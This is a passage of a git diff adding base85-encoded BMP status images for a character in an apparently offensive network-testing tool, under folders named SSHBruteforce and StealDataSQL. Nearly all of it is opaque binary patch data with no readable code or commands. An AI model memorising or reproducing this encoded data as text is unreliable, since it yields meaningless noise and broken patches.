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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1c81cf61ed896f2c5c790ce87c6243d80f82a626 GIT binary patch literal 18462 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 